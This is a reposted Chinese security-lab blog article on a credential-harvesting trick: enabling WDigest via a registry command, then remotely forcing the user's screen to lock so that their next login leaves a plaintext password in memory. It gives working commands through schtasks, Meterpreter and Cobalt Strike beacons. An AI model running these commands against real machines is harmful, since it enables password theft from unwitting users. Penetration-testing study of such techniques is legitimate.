前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >抓取内存口令一个小技巧

抓取内存口令一个小技巧

作者头像
Ms08067安全实验室
发布2021-07-16 15:48:36
6940
发布2021-07-16 15:48:36
举报

本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员)

文章来源|MS08067 内网安全知识星球

1.理论

学过徐老师《内网安全攻防:渗透测试实战指南》第五章的⼩伙伴都知道,巨硬为了防⽌密码在内存中以明⽂形式泄露,发布了KB2871997补丁,⽤来关闭Win7和08的Wdigest功能,同时Server2012版以上默认关闭该功能,但是仍然可以通过修改注册表的⽅法来⼿动开启。

代码语言:javascript
复制
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

修改后只要⽤⼾重新登录就可以抓取其明⽂⼝令,但是这⾥就存在⼀个问题:如果⽤⼾图省事⼀直不下线、不锁屏,或者规定的测试时间很短,需要在短时间内获取⽤⼾明⽂⼝令,⽤⼾没有登录⾏为,那么抓密码也就⽆从谈起。

如果他不锁屏,那就帮他锁屏:

CMD版本:

代码语言:javascript
复制
rundll32.exe user32.dll,LockWorkStation

PowerShell版本:

代码语言:javascript
复制
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name
"Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}

2.测试

原本以为凡是远程执⾏命令就可以达到⽬标,但是经过测试后才发现现实很⻣感,测试了计划任务、wmic、winrm、psexec、MSF Meterpreter、Cobalt Strike beacon五种远程执⾏⽅法,仅有MSF和CS的⽊⻢可以达到想要的效果。

2.1 计划任务

1. 使⽤ schtasks :

代码语言:javascript
复制
schtasks /create /tn "lock" /tr "rundll32.exe user32.dll, LockWorkStation" /sc
once /st 19:24 /S \\target /RU administrator /u administrator /p "password"

如果想要锁定其他⽤⼾,可以修改 /RU 参数为指定⽤⼾。

2. At 命令没有成功:interactive 这个参数在win7下已经⽆法使⽤,如果不加改参数,则会以SYSTEM ⾝份运⾏,并不会影响当前⽤⼾。

代码语言:javascript
复制
at \\dc16 12:00 /interactive c:\windows\system32\rundll32.exe "user32.dll,
LockWorkStation"
警告: 由于有安全增强功能,此任务将在预期时间运行,但不以交互方式运行。
如果要求交互式任务,则使用 schtasks.exe 实用程序(使用 "schtasks /?" 命令获取详细信
息)。

2.2MSF

1. 直接利⽤meterpreter的shell功能,获取⼀个⽬标的交互式窗⼝,执⾏ rundll32.exe

user32.dll,LockWorkStation 即可锁定当前⽤⼾。

2. 使⽤ execute :

代码语言:javascript
复制
meterpreter > execute -f rundll32.exe -a "user32.dll,LockWorkStation"

3. 利⽤powershell插件,执⾏powershell脚本也可以:

将powershell脚本保存在MSF本地,利⽤ powershell_import 导⼊,使⽤

powershell_execute 执⾏。

代码语言:javascript
复制
meterpreter > load powershell
meterpreter > powershell_import /home/kali/Desktop/lock.ps1
meterpreter > powershell_execute Lock-WorkStation

4. 如果想要锁定其他⽤⼾:

可以使⽤ migrate 命令迁移到指定⽤⼾的进程中去,利⽤上述⽅法即可锁定⽤⼾。

2.3 Cobalt Strike

1. 获取beacon后,使⽤ run 或者 execute 命令:

代码语言:javascript
复制
beacon> run rundll32.exe user32.dll,LockWorkStation
beacon> execute rundll32.exe user32.dll,LockWorkStation

2. 利⽤powershell:

代码语言:javascript
复制
beacon> powershell-import /home/kali/Desktop/lock.ps1
beacon> powershell Lock-WorkStation

3. 锁定其他⽤⼾:

使⽤ inject 命令从另外⼀个⽤⼾的进程中派⽣⼀个新的Beacon,利⽤上述⽅法即可锁定其他⽤

⼾。

2.4 存在的问题

1. at、wmic、winrm、PsExec这种“合法”⼯具⽆法完成锁定⽤⼾的操作,个⼈分析认为是以为他们三个执⾏后会在新的⼯作站中创建进程并执⾏,⽆法影响到⽤⼾所在的“Winsta0”⼯作站;⽽MSF、CS这种通过远控可以达到预期效果,是因为执⾏的进程是从本就在⽤⼾“Winsta0”⼯作站中的客⼾端进程派⽣出来。

2. 个⼈认为CS中的 runu 指令应该也可以直接锁定其他⽤⼾,但是没有测试成功,还希望了解的⼤佬指点⼀⼆。

帮助说“可以使⽤指定的PID作为⽗进程”,在当前⽤⼾的PID可以正常执⾏命令,但是使⽤其他⽤⼾的就会出现问题:⽬标⽤⼾PID虽然会创建⼦进程,但是提⽰“Path: [Error opening process]”,同时当前⽤⼾会弹出“程序⽆法正常启动”的错误。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档